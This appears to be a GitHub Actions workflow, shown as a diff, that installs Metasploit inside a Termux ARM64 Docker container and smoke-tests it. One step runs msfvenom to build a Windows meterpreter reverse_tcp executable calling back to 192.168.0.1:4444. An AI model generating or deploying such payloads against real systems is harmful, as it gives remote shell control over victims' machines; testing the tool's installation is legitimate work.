|
| 1 | +name: Metasploit on Termux (ARM64, DNS-bypass) |
| 2 | + |
| 3 | +on: |
| 4 | + workflow_dispatch: |
| 5 | + push: |
| 6 | + branches: [ "main", "master", "feature/**" ] |
| 7 | + pull_request: |
| 8 | + branches: [ "main", "master", "feature/**" ] |
| 9 | + |
| 10 | +jobs: |
| 11 | + test-aarch64: |
| 12 | + runs-on: ubuntu-24.04-arm64 |
| 13 | + timeout-minutes: 90 |
| 14 | + |
| 15 | + steps: |
| 16 | + - name: Checkout repo (use this branch's metasploit.sh) |
| 17 | + uses: actions/checkout@v4 |
| 18 | + |
| 19 | + - name: Install DNS tools on host |
| 20 | + run: | |
| 21 | + set -euxo pipefail |
| 22 | + sudo apt-get update |
| 23 | + sudo apt-get install -y dnsutils |
| 24 | +
|
| 25 | + - name: Generate static DNS for Termux (/system/etc/hosts, IPv4 only) |
| 26 | + id: gen-hosts |
| 27 | + shell: bash |
| 28 | + run: | |
| 29 | + set -euxo pipefail |
| 30 | + HOSTS="termux-hosts" |
| 31 | + : > "$HOSTS" |
| 32 | +
|
| 33 | + # Domains your installer typically needs |
| 34 | + domains=( |
| 35 | + packages.termux.dev |
| 36 | + raw.githubusercontent.com |
| 37 | + packages-cf.termux.dev |
| 38 | + termux.dev |
| 39 | + github.com |
| 40 | + rubygems.org |
| 41 | + index.rubygems.org |
| 42 | + pypi.org |
| 43 | + files.pythonhosted.org |
| 44 | + ) |
| 45 | +
|
| 46 | + # Resolve each to an IPv4 address and write in hosts format |
| 47 | + missing=() |
| 48 | + for d in "${domains[@]}"; do |
| 49 | + ip4=$(dig +short A "$d" | head -n1 || true) |
| 50 | + if [[ -n "$ip4" ]]; then |
| 51 | + echo "$ip4 $d" >> "$HOSTS" |
| 52 | + else |
| 53 | + missing+=("$d") |
| 54 | + fi |
| 55 | + done |
| 56 | +
|
| 57 | + echo "---- $HOSTS ----" |
| 58 | + cat "$HOSTS" |
| 59 | +
|
| 60 | + # Fail early if we couldn't resolve critical domains on the host |
| 61 | + critical=(packages.termux.dev raw.githubusercontent.com github.com rubygems.org) |
| 62 | + for c in "${critical[@]}"; do |
| 63 | + if ! grep -q " $c$" "$HOSTS"; then |
| 64 | + echo "ERROR: Could not resolve critical domain: $c" |
| 65 | + exit 1 |
| 66 | + fi |
| 67 | + done |
| 68 | +
|
| 69 | + if [[ ${#missing[@]} -gt 0 ]]; then |
| 70 | + echo "WARN: Could not resolve some domains on host: ${missing[*]}" |
| 71 | + fi |
| 72 | +
|
| 73 | + - name: Start Termux (aarch64) with static hosts and repo mounted |
| 74 | + run: | |
| 75 | + set -euxo pipefail |
| 76 | + docker pull termux/termux-docker:aarch64 |
| 77 | + docker rm -f termux || true |
| 78 | + docker run -d --name termux \ |
| 79 | + --security-opt seccomp=unconfined \ |
| 80 | + -v "$PWD/termux-hosts:/system/etc/hosts:ro" \ |
| 81 | + -v "$GITHUB_WORKSPACE:/workspace:ro" \ |
| 82 | + termux/termux-docker:aarch64 |
| 83 | + # give runit/env a moment to settle |
| 84 | + sleep 3 |
| 85 | + docker ps -a |
| 86 | +
|
| 87 | + - name: Seed apt mirror & update inside Termux |
| 88 | + run: | |
| 89 | + set -euxo pipefail |
| 90 | + id=$(docker ps -q -f name=termux) |
| 91 | + docker exec -u system "$id" bash -lc ' |
| 92 | + set -eux |
| 93 | + # Use primary Termux mirror (bypasses pkg mirror selection) |
| 94 | + echo "deb https://packages.termux.dev/apt/termux-main stable main" > /data/data/com.termux/files/usr/etc/apt/sources.list |
| 95 | + apt update -y |
| 96 | + apt install -y curl git |
| 97 | + ' |
| 98 | +
|
| 99 | + - name: Run metasploit installer from this repo |
| 100 | + run: | |
| 101 | + set -euxo pipefail |
| 102 | + id=$(docker ps -q -f name=termux) |
| 103 | + docker exec -u system "$id" bash -lc ' |
| 104 | + set -eux |
| 105 | + # copy script from checked-out repo into $HOME |
| 106 | + cp /workspace/metasploit.sh "$HOME/metasploit.sh" |
| 107 | + chmod +x "$HOME/metasploit.sh" |
| 108 | + # run and tee to a log for artifacting on failure |
| 109 | + "$HOME/metasploit.sh" |& tee "$HOME/metasploit_install.log" |
| 110 | + ' |
| 111 | +
|
| 112 | + - name: Smoke test msfconsole (non-interactive) |
| 113 | + run: | |
| 114 | + set -euxo pipefail |
| 115 | + id=$(docker ps -q -f name=termux) |
| 116 | + docker exec -u system "$id" bash -lc 'msfconsole -qx "version; exit"' | tee msfconsole-version.txt |
| 117 | +
|
| 118 | + - name: Test msfvenom payload generation |
| 119 | + run: | |
| 120 | + set -euxo pipefail |
| 121 | + id=$(docker ps -q -f name=termux) |
| 122 | + docker exec -u system "$id" bash -lc ' |
| 123 | + set -eux |
| 124 | + echo "Testing msfvenom payload generation..." |
| 125 | + msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.1 lport=4444 -f exe -o my_payload.exe |
| 126 | + echo "Payload generation completed successfully!" |
| 127 | + ls -la my_payload.exe |
| 128 | + file my_payload.exe || echo "file command not available, but payload exists" |
| 129 | + ' |
| 130 | +
|
| 131 | + - name: Upload logs on failure |
| 132 | + if: failure() |
| 133 | + uses: actions/upload-artifact@v4 |
| 134 | + with: |
| 135 | + name: termux-aarch64-logs |
| 136 | + path: | |
| 137 | + termux-hosts |
| 138 | +
|
| 139 | + - name: Cleanup |
| 140 | + if: always() |
| 141 | + run: docker rm -f termux || true |
0 commit comments